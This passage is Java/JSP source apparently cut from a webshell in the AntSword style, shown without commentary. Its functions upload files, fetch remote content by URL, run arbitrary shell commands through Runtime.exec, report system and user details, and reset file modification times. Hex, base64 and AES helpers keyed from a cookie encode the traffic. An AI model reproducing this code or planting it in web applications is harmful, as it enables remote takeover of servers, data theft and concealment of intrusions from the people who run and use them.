"+"|").getBytes(), 0, 3); while ((n = is.read(b, 0, 512)) != -1) { os.write(b, 0, n); } os.write(("|"+"<-").getBytes(), 0, 3); os.close(); is.close(); } String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { String h = "0123456789ABCDEF"; File f = new File(savefilePath); f.createNewFile(); FileOutputStream os = new FileOutputStream(f,true); for (int i = 0; i < fileHexContext.length(); i += 2) { os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); } os.close(); return "1"; } String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { File sf = new File(sourceFilePath), df = new File(targetFilePath); if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (int j = 0; j < z.length; j++) { CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b, 0, 1024)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } return "1"; } String RenameFileOrDirCode(String oldName, String newName) throws Exception { File sf = new File(oldName), df = new File(newName); sf.renameTo(df); return "1"; } String CreateDirCode(String dirPath) throws Exception { File f = new File(dirPath); f.mkdir(); return "1"; } String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { File f = new File(fileOrDirPath); SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(aTime); f.setLastModified(dt.getTime()); return "1"; } String WgetCode(String urlPath, String saveFilePath) throws Exception { URL u = new URL(urlPath); int n = 0; FileOutputStream os = new FileOutputStream(saveFilePath); HttpURLConnection h = (HttpURLConnection) u.openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[512]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); return "1"; } String SysInfoCode(HttpServletRequest r) throws Exception { String d = ""; try { if(r.getSession().getServletContext().getRealPath("/") != null){ d = r.getSession().getServletContext().getRealPath("/"); }else{ String cd = this.getClass().getResource("/").getPath(); d = new File(cd).getParent(); } } catch (Exception e) { String cd = this.getClass().getResource("/").getPath(); d = new File(cd).getParent(); } d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1); String serverInfo = (String)System.getProperty("os.name"); String separator = File.separator; String user = (String)System.getProperty("user.name"); String driverlist = WwwRootPathCode(d); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; } boolean isWin() { String osname = (String)System.getProperty("os.name"); osname = osname.toLowerCase(); if (osname.startsWith("win")) return true; return false; } String ExecuteCommandCode(String cmdPath, String command) throws Exception { StringBuffer sb = new StringBuffer(""); String[] c = { cmdPath, !isWin() ? "-c" : "/c", command }; Process p = Runtime.getRuntime().exec(c); CopyInputStream(p.getInputStream(), sb); CopyInputStream(p.getErrorStream(), sb); return sb.toString(); } String getEncoding(String str) { String encode[] = new String[]{ "UTF-8", "ISO-8859-1", "GB2312", "GBK", "GB18030", "Big5", "Unicode", "ASCII" }; for (int i = 0; i < encode.length; i++){ try { if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) { return encode[i]; } } catch (Exception ex) { } } return ""; } String strtohexstr(String fileContext)throws Exception{ String h = "0123456789ABCDEF"; byte[] bytes = fileContext.getBytes(cs); StringBuilder sb = new StringBuilder(bytes.length * 2); for (int i = 0; i < bytes.length; i++) { sb.append(h.charAt((bytes[i] & 0xf0) >> 4)); sb.append(h.charAt((bytes[i] & 0x0f) >> 0)); } String fileHexContext = sb.toString(); return fileHexContext; } String asenc(String str, String decode){ if(decode.equals("hex") || decode=="hex"){ return strtohexstr(str); }else if(decode.equals("base64") || decode == "base64"){ String sb = ""; sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); sb = encoder.encode(str.getBytes()); return sb; }else if(decode.equals("hex_base64") || decode == "hex_base64"){ return asenc(asenc(str, "base64"), "hex"); }else if(decode.equals("aes_base64") || decode == "aes_base64"){ String sb1 = ""; sb1 = AesEncrypt(AesKey, asenc(str, "base64")); return sb1.replace("\r\n",""); } return str; } String decode(String str) { byte[] bt = null; try { sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); bt = decoder.decodeBuffer(str); } catch (IOException e) { e.printStackTrace(); } return new String(bt); } String decode(String str, String encode) throws Exception{ if(encode.equals("hex") || encode=="hex"){ if(str=="null"||str.equals("null")){ return ""; } String hexString = "0123456789ABCDEF"; str = str.toUpperCase(); ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2); String ss = ""; for (int i = 0; i < str.length(); i += 2){ ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); } return baos.toString(cs); }else if(encode.equals("base64") || encode == "base64"){ byte[] bt = null; sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); bt = decoder.decodeBuffer(str); return new String(bt,cs); }else if(encode.equals("aes") || encode == "aes") { String str1 = AesDecrypt(AesKey, str); return str1.trim(); } return str; } String AesEncrypt(String key, String cleartext) throws Exception { IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes()); SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES"); Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding)); cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv); byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8")); sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); String sb = encoder.encode(encryptedData); return sb; } String AesDecrypt(String key ,String encrypted) throws Exception { sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); byte[] byteMi = decoder.decodeBuffer(encrypted); IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes()); SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES"); Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding)); cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv); byte[] decryptedData = cipher.doFinal(byteMi); return new String(decryptedData, "UTF-8"); } String getKeyFromCookie(Cookie[] cookies){ String key = ""; StringBuilder result = new StringBuilder(); if( cookies != null ){ for (Cookie c : cookies) { if (c.getName().equals(SessionKey)) { key = c.getValue(); break; } } } if(key.length() < aes_keylen){ for(int i=0;key.length() < aes_keylen;i++){ key += aes_key_padding; } }if(key.length() > aes_keylen){ key = key.substring(0,aes_keylen); } return key; } void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { String l; BufferedReader br = new BufferedReader(new InputStreamReader(is, cs)); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } br.close(); } ]]>